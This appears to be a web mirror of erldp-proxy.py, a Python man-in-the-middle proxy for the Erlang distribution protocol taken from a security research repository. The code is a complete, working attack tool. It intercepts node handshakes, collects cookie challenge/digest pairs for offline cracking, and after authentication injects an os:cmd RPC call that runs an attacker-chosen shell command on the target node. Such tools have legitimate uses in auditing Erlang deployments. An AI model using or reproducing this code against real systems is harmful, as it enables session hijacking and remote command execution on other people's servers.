Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
gteissier
GitHub Repository: gteissier/erl-matter
Path: blob/master/erldp-proxy.py
271 views
1
#!/usr/bin/env python
2
3
import sys
4
import socket
5
from struct import pack, unpack
6
import asyncore
7
import argparse
8
import traceback
9
from binascii import hexlify
10
import erlang as erl
11
12
13
parser = argparse.ArgumentParser(description='Man-in-the-middle Erlang distribution proxy')
14
parser.add_argument('--lhost', default='127.0.0.1', help='Address to bind to')
15
parser.add_argument('--lport', type=int, default=31337, help='Address to bind to')
16
parser.add_argument('--target', default=None, help='The target to connect to. By default, transparent proxying will be used to get the original address. Use this option if you use proxying, not transparent proxying.')
17
parser.add_argument('--collect-challenges', default=False, action='store_true', help='Collect and output challenges')
18
parser.add_argument('--inject-cmd', type=str, default=None, help='Shell command to inject when authenticated')
19
20
args = parser.parse_args()
21
22
if not args.collect_challenges and not args.inject_cmd:
23
print >>sys.stderr, 'please use one of command injection or challenges collecter options'
24
sys.exit(1)
25
26
27
SO_ORIGINAL_DST = 80
28
29
def send_cmd(name, cmd):
30
# REG_SEND control message
31
ctrl_msg = (6,
32
erl.OtpErlangPid(erl.OtpErlangAtom(name),'\x00\x00\x00\x03','\x00\x00\x00\x00','\x00'),
33
erl.OtpErlangAtom(''),
34
erl.OtpErlangAtom('rex'))
35
msg = (
36
erl.OtpErlangPid(erl.OtpErlangAtom(name),'\x00\x00\x00\x03','\x00\x00\x00\x00','\x00'),
37
(
38
erl.OtpErlangAtom('call'),
39
erl.OtpErlangAtom('os'),
40
erl.OtpErlangAtom('cmd'),
41
[cmd],
42
erl.OtpErlangAtom('user')
43
))
44
45
new_data = '\x70' + erl.term_to_binary(ctrl_msg) + erl.term_to_binary(msg)
46
47
return pack('!I', len(new_data)) + new_data
48
49
50
class DistConn(asyncore.dispatcher):
51
def __init__(self, sock=None, map=None, conn=True, verbose=False):
52
self.out_buffer = b''
53
self.in_buffer = b''
54
55
self.verbose = verbose
56
self.allsent = False
57
58
self.act_as_server = False
59
self.act_as_client = False
60
self.authenticated = False
61
62
self.challenge = None
63
self.digest = None
64
65
if conn is True:
66
assert(sock)
67
68
if not args.target:
69
orig_dst = sock.getsockopt(socket.SOL_IP, SO_ORIGINAL_DST, 16)
70
_, port, a1, a2, a3, a4 = unpack('!HHBBBBxxxxxxxx', orig_dst)
71
host = '%d.%d.%d.%d' % (a1, a2, a3, a4)
72
else:
73
(host, port) = args.target.split(':')
74
port = int(port, 10)
75
76
self.conn_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
77
self.conn_sock.connect((host, port))
78
self.act_as_server = True
79
80
self.sock_class = DistConn(sock=self.conn_sock, conn=self)
81
else:
82
self.sock_class = conn
83
self.conn_sock = None
84
self.act_as_client = True
85
86
asyncore.dispatcher.__init__(self, sock, map)
87
88
def initiate_send(self):
89
num_sent = asyncore.dispatcher.send(self, self.out_buffer[:4096])
90
self.out_buffer = self.out_buffer[num_sent:]
91
92
def handle_write(self):
93
self.initiate_send()
94
95
def writable(self):
96
return (self.allsent or len(self.out_buffer) > 0)
97
98
def send(self, data):
99
if data:
100
self.out_buffer += data
101
else:
102
self.allsent = True
103
104
def handle_read(self):
105
data = self.recv(1024)
106
self.sock_class.send(data)
107
108
if not self.authenticated:
109
self.in_buffer += data
110
111
while len(self.in_buffer) >= 3:
112
(length, opcode) = unpack('!Hc', self.in_buffer[:3])
113
if len(self.in_buffer) < length + 2: break
114
115
data = self.in_buffer[:2+length]
116
self.in_buffer = self.in_buffer[2+length:]
117
118
tag = 'as_client'
119
if self.act_as_server: tag = 'as_server'
120
121
print('[!] %s %r' % (tag, data))
122
123
if opcode in ('a', 'r', 'n', 's'):
124
if self.act_as_client and opcode == 'n':
125
(version, flags, challenge) = unpack('!HII', data[3:13])
126
self.challenge = challenge
127
self.server_name = data[13:]
128
129
elif self.act_as_server and opcode == 'n':
130
self.client_name = data[9:]
131
132
elif self.act_as_server and opcode == 'r':
133
(challenge,) = unpack('!I', data[3:7])
134
digest = data[7:23]
135
assert(len(digest) == 16)
136
137
self.challenge = challenge
138
self.digest = digest
139
self.authenticated = True
140
141
if args.collect_challenges:
142
print('md5(cookie|%d) = %s' % (self.sock_class.challenge, hexlify(self.digest)))
143
144
elif self.act_as_client and opcode == 'a':
145
digest = data[3:19]
146
assert(len(digest) == 16)
147
148
self.digest = digest
149
self.authenticated = True
150
151
if args.collect_challenges:
152
print('md5(cookie|%d) = %s' % (self.sock_class.challenge, hexlify(self.digest)))
153
154
if args.inject_cmd:
155
print('[!!!] INJECTING %r to server' % args.inject_cmd)
156
self.sendall(send_cmd(self.sock_class.client_name, args.inject_cmd))
157
print('[!!!] DONE')
158
159
def handle_close(self):
160
leftover = len(self.sock_class.out_buffer)
161
while leftover > 0:
162
self.sock_class.initiate_send()
163
leftover = len(self.sock_class.out_buffer)
164
165
self.sock_class.close()
166
self.close()
167
168
def handle_error(self):
169
t, v, tb = sys.exc_info()
170
print('DistConn error: %s : %s\n%s' % (t, v, tb))
171
172
class DistServer(asyncore.dispatcher):
173
def __init__(self, host, port):
174
asyncore.dispatcher.__init__(self)
175
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
176
self.set_reuse_addr()
177
self.bind((host, port))
178
self.listen(64)
179
180
def handle_accept(self):
181
pair = self.accept()
182
if pair:
183
sock, addr = pair
184
self.sock = sock
185
handler = DistConn(sock)
186
187
def handle_close(self):
188
self.sock.close()
189
self.close()
190
191
def handle_error(self):
192
t, v, tb = sys.exc_info()
193
print('DistServer error: %s : %s\n%s' % (t, v, tb))
194
195
196
try:
197
server = DistServer(args.lhost, args.lport)
198
print('[*] listening on %s:%d' % (args.lhost, args.lport))
199
if args.target:
200
print('[*] working in non transparent mode, will connect to %s' % args.target)
201
else:
202
print('[*] working in transparent mode')
203
asyncore.loop()
204
except KeyboardInterrupt:
205
print('')
206
sys.exit(0)
207
except Exception as e:
208
sys.stderr.write(traceback.format_exc())
209
sys.exit(1)
210
211
212